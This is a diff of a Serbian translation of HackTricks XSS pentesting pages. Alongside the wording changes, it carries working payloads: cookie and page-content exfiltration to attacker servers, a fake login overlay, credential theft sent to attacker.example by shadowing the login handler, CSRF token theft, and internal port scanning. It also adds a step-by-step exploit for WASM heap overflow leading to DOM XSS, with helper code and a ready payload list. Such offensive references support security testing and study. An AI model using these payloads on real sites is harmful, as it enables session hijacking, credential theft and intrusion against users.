-Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove radnje (uključujući informacije poslate u formularima):
+Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i presretnite njegove radnje (uključujući informacije poslate kroz forme):
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
-### Retrieve Cookies
+### Preuzimanje Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1313,7 +1323,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> **Nećete moći da pristupite cookies iz JavaScript-a** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako budete imali sreće.
+> Nećete moći da pristupite **cookies iz JavaScript** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ako imate sreće.
 ### Krađa sadržaja stranice
 ```javascript
@ -1328,7 +1338,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### Pronađite interne IP adrese
+### Pronalaženje internih IP adresa
 ```html
 <script>
 var q = []
@ -1404,11 +1414,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Kratka vremena ukazuju na port koji odgovara_ _Duža vremena ukazuju na neodgovor._
+_Kratka vremena označavaju da port odgovara_ _Duža vremena označavaju da nema odgovora._
 Pregledajte listu portova zabranjenih u Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
-### Polje za traženje podataka za prijavu
+### Polje za unos kredencijala
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
@ -1423,11 +1433,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated.
+Kada se bilo koji podatak unese u password polje, username i password se šalju na attackers server — čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
-Ako je kritični handler (npr., `function DoLogin(){...}`) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši `const` istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati `const` ime, ostavljajući tvoj hook pod kontrolom:
+Ako je kritični handler (npr. `function DoLogin(){...}`) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. via an inline JS-in-JS sink), definišite `const` sa istim imenom prvo da preduhitrite i zaključate handler. Kasnije deklaracije funkcija ne mogu ponovo vezati (`rebind`) `const` ime, ostavljajući vaš hook pod kontrolom:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@ -1435,21 +1445,21 @@ const user = Trim(FormInput.InputUtente.value);
 fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
 };
 ```
-Notes
+Napomene
- Ovo zavisi od reda izvršavanja: vaša injekcija mora biti izvršena pre legitimne deklaracije.
+- Ovo zavisi od reda izvršavanja: vaš injection mora da se izvrši pre legitimne deklaracije.
- Ako je vaš payload zamotan u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristite dinamičku `<script>` injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” kako biste obezbedili pravi globalni binding koji se ne može ponovo vezati.
+- Ako je vaš payload obuhvaćen u `eval(...)`, `const/let` bindings neće postati globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
- Kada filteri po ključnim rečima blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili isporukom preko `eval(atob('...'))`, kao što je prikazano gore.
+- Kada keyword filters blokiraju kod, kombinujte sa Unicode-escaped identifiers ili `eval(atob('...'))` delivery, kao što je prikazano iznad.
 ### Keylogger
-Samo pretragom na github-u pronašao sam nekoliko različitih:
+Samo pretragom na github-u našao sam nekoliko različitih:
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - Takođe možete koristiti metasploit `http_javascript_keylogger`
-### Krađa CSRF tokena
+### Stealing CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@ -1562,7 +1572,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Pristup skrivenom sadržaju
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
+Iz [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) može se saznati da, čak i ako neke vrednosti nestanu iz JS, i dalje ih je moguće pronaći u JS atributima različitih objekata. Na primer, unos za REGEX se i dalje može pronaći čak i nakon što je vrednost tog unosa uklonjena:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@ -1586,11 +1596,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
-## XSS - iskorišćavanje drugih ranjivosti
+## XSS — zlopotreba drugih ranjivosti
-### XSS u Markdown
+### XSS u Markdownu
-Može li se ubaciti Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proveri:
+Možeš da ubaciš Markdown kod koji će biti renderovan? Možda tako dobiješ XSS! Proveri:
 {{#ref}}
@ -1599,24 +1609,24 @@ xss-in-markdown.md
 ### XSS u SSRF
-Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi ga na SSRF** kroz Edge Side Include Injection sa ovim payload:
+Imaš XSS na **site-u koji koristi caching**? Pokušaj **nadograditi to u SSRF** kroz Edge Side Include Injection sa ovim payloadom:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Koristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\  
+Use it to bypass cookie restrictions, XSS filters and much more!\
-Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
+More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
-### XSS u dinamički kreiranom PDF-u
+### XSS in dynamic created PDF
-Ako web stranica kreira PDF koristeći unos koji kontroliše korisnik, možete pokušati da **prevarite bota** koji kreira PDF da počne sa **izvršavanjem proizvoljnog JS koda**.\  
+Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da **prevarite bota** koji kreira PDF da **izvrši proizvoljni JS kod**.\
-Dakle, ako **PDF creator bot pronađe** neke **HTML** **tagove**, on će ih **interpretirati**, i možete ovo **iskoristiti** da prouzrokujete **Server XSS**.
+Dakle, ako **bot koji kreira PDF pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **zloupotrebiti** ovo ponašanje da izazovete **Server XSS**.
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
-Ako ne možete da injektujete HTML tagove, možda vredi pokušati da **injektujete PDF podatke**:
+Ako ne možete injektovati HTML tagove, može biti vredno pokušati da **injektujete PDF podatke**:
 {{#ref}}
@ -1625,15 +1635,15 @@ pdf-injection.md
 ### XSS in Amp4Email
-AMP, namenjen ubrzavanju performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa fokusom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, osmišljen da ubrza performanse web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP components](https://amp.dev/documentation/components/?format=websites).
-The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
+The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format proširuje specifične AMP komponente na e-mailove, omogućavajući primaocima da direktno unutar svojih poruka interaguju sa sadržajem.
-Primer [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 ### XSS uploading files (svg)
-Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Otpremite kao sliku fajl poput sledećeg (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
--- a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
@ -0,0 +1,133 @@
 # WebAssembly linear memory corruption to DOM XSS (template overwrite)
 {{#include ../../banners/hacktricks-training.md}}
 Ova tehnika pokazuje kako bag u korupciji memorije unutar WebAssembly (WASM) modula kompajliranog sa Emscripten može biti iskorišćen za pouzdan DOM XSS čak i kada je unos sanitarisan. Pivot je da se korumpiraju writable konstante u WASM linear memory (npr. HTML format templates) umesto da se napada sanitizovani izvorni string.
 Ključna ideja: U WebAssembly modelu, kod živi u neupisivim izvršnim stranicama, ali podaci modula (heap/stack/globals/"constants") žive u jedinstvenoj ravnoj linear memory (stranice od 64KB) koja je upisiva od strane modula. Ako buggy C/C++ kod piše van granica, možete prepisati susedne objekte pa čak i konstantne stringove ugrađene u linear memory. Kada se takva konstanta kasnije koristi za izgradnju HTML-a za umetanje preko DOM sink, možete pretvoriti sanitizovani unos u izvršni JavaScript.
 Model pretnje i preduslovi
 - Web app koristi Emscripten glue (Module.cwrap) da pozove WASM module.
 - Stanje aplikacije živi u WASM linear memory (npr. C structs sa pointerima/lengths ka korisničkim baferima).
 - Sistem za sanitaciju unosa enkodira metakaraktere pre čuvanja, ali kasnije prikazivanje gradi HTML koristeći format string smešten u WASM linear memory.
 - Postoji primitiv za korupciju linear-memory (npr. heap overflow, UAF, ili unchecked memcpy).
 Minimalni model ranjivih podataka (primer)
 ```c
 typedef struct msg {
 char *msg_data;       // pointer to message bytes
 size_t msg_data_len;  // length after sanitization
 int msg_time;         // timestamp
 int msg_status;       // flags
 } msg;
 typedef struct stuff {
 msg *mess;            // dynamic array of msg
 size_t size;          // used
 size_t capacity;      // allocated
 } stuff; // global chat state in linear memory
 ```
 Ranljiv obrazac logike
 - addMsg(): alocira novi bafer veličine sanitizovanog ulaza i dodaje msg u s.mess, udvostručujući kapacitet pomoću realloc kada je potrebno.
 - editMsg(): ponovo sanitizuje i kopira nove bajtove u postojeći bafer pomoću memcpy bez provere da je nova dužina ≤ stara alokacija → intra‑linear‑memory heap overflow.
 - populateMsgHTML(): formatira sanitizovani tekst sa ugrađenim stubom kao što je "<article><p>%.*s</p></article>" koji se nalazi u linearnoj memoriji. Vraćeni HTML dospeva u DOM sink (npr. innerHTML).
 Allocator grooming with realloc()
 ```c
 int add_msg_to_stuff(stuff *s, msg new_msg) {
 if (s->size >= s->capacity) {
 s->capacity *= 2;
 s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
 if (s->mess == NULL) exit(1);
 }
 s->mess[s->size++] = new_msg;
 return s->size - 1;
 }
 ```
 - Pošaljite dovoljno poruka da premaše početni kapacitet. Nakon rasta, realloc() često postavlja s->mess odmah nakon poslednjeg korisničkog bafera u linear memory.
 - Overflow poslednju poruku preko editMsg() da prepišete polja unutar s->mess (npr. overwrite msg_data pointers) → proizvoljna promena pointera u linear memory za podatke koji će kasnije biti renderovani.
 Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
 - Sanitization štiti input, ne sinks. Pronađite format stub koji koristi populateMsgHTML(), npr.:
 - "<article><p>%.*s</p></article>" → change to "<img src=1      onerror=%.*s>"
 - Pronađite stub deterministički skeniranjem linear memory; to je plain byte string unutar Module.HEAPU8.
 - Nakon što prepišete stub, sanitizovani sadržaj poruke postaje JavaScript handler za onerror, tako da dodavanje nove poruke sa tekstom kao alert(1337) daje <img src=1 onerror=alert(1337)> i izvršava se odmah u DOM-u.
 Chrome DevTools workflow (Emscripten glue)
 - Postavite breakpoint na prvi Module.cwrap poziv u JS glue i uđite u wasm call site da biste uhvatili pointer arguments (numeric offsets into linear memory).
 - Koristite typed views kao Module.HEAPU8 za čitanje/pisanje WASM memory iz konzole.
 - Helper snippets:
 ```javascript
 function writeBytes(ptr, byteArray){
 if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
 for(let i=0;i<byteArray.length;i++){
 const byte = byteArray[i];
 if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
 HEAPU8[ptr+i]=byte;
 }
 }
 function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
 function readBytesAsChars(ptr,len){
 const bytes=HEAPU8.subarray(ptr,ptr+len);
 return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
 }
 function searchWasmMemory(str){
 const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
 for(let i=0;i<mem.length-pat.length;i++){
 let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
 if(ok) console.log(`Found "${str}" at memory address:`, i);
 }
 console.log(`"${str}" not found in memory`);
 return -1;
 }
 const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
 ```
 Recept za end-to-end eksploataciju
 1) Groom: dodajte N malih poruka da biste pokrenuli realloc(). Osigurajte da je s->mess pored user buffer-a.
 2) Overflow: pozovite editMsg() na poslednjoj poruci sa dužim payload-om da prepišete unos u s->mess, postavljajući msg_data poruke 0 da pokazuje na (stub_addr + 1). +1 preskače početni '<' kako bi poravnanje taga ostalo netaknuto tokom sledećeg edit-a.
 3) Template rewrite: edit message 0 tako da njegovi bajtovi prepišu template sa: "img src=1      onerror=%.*s ".
 4) Trigger XSS: dodajte novu poruku čiji je sanitized sadržaj JavaScript, npr. alert(1337). Pri renderovanju se emituje <img src=1 onerror=alert(1337)> i izvršava.
 Primer liste akcija za serijalizaciju i postavljanje u ?s= (Base64-encode with btoa before use)
 ```json
 [
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"add","content":"hi","time":1756840476392},
 {"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
 {"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
 {"action":"add","content":"alert(1337)","time":1756840476392}
 ]
 ```
 Why this bypass works
 - WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
 - Sanitizer štiti samo izvorni string; korumpiranjem sinka (the HTML template), sanitizovani input postaje vrednost JS handler-a i izvršava se kada se ubaci u DOM.
 - Spajne alokacije nastale zbog realloc() plus nekontrolisani memcpy u edit tokovima omogućavaju korupciju pokazivača koja preusmerava upise na adrese po izboru napadača unutar linearne memorije.
 Generalization and other attack surface
 - Bilo koji in-memory HTML template, JSON skeleton, or URL pattern ugrađen u linearnu memoriju može biti meta za promenu načina na koji se sanitizovani podaci interpretiraju nizvodno.
 - Drugi uobičajeni WASM zamke: out-of-bounds writes/reads u linearnoj memoriji, UAF na heap objektima, function-table misuse sa nekontrolisanim indeksima indirektnih poziva, i JS↔WASM glue mismatches.
 Defensive guidance
 - U edit tokovima, proverite new length ≤ capacity; resize buffere pre copy (realloc to new_len) ili koristite size-bounded APIs (snprintf/strlcpy) i pratite capacity.
 - Držite immutable templates izvan writable linear memory ili proveravajte njihov integritet pre upotrebe.
 - Smatrajte JS↔WASM granice nepoverljivim: validirajte pointer ranges/lengths, fuzz exported interfaces, i ograničite memory growth.
 - Sanitize at the sink: izbegavajte gradnju HTML u WASM; preferirajte safe DOM APIs umesto innerHTML-style templating.
 - Izbegavajte poveravanje URL-embedded state za privileged flows.
 ## References
 - [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
 - [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
 - [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
 - [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
 - [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
 {{#include ../../banners/hacktricks-training.md}}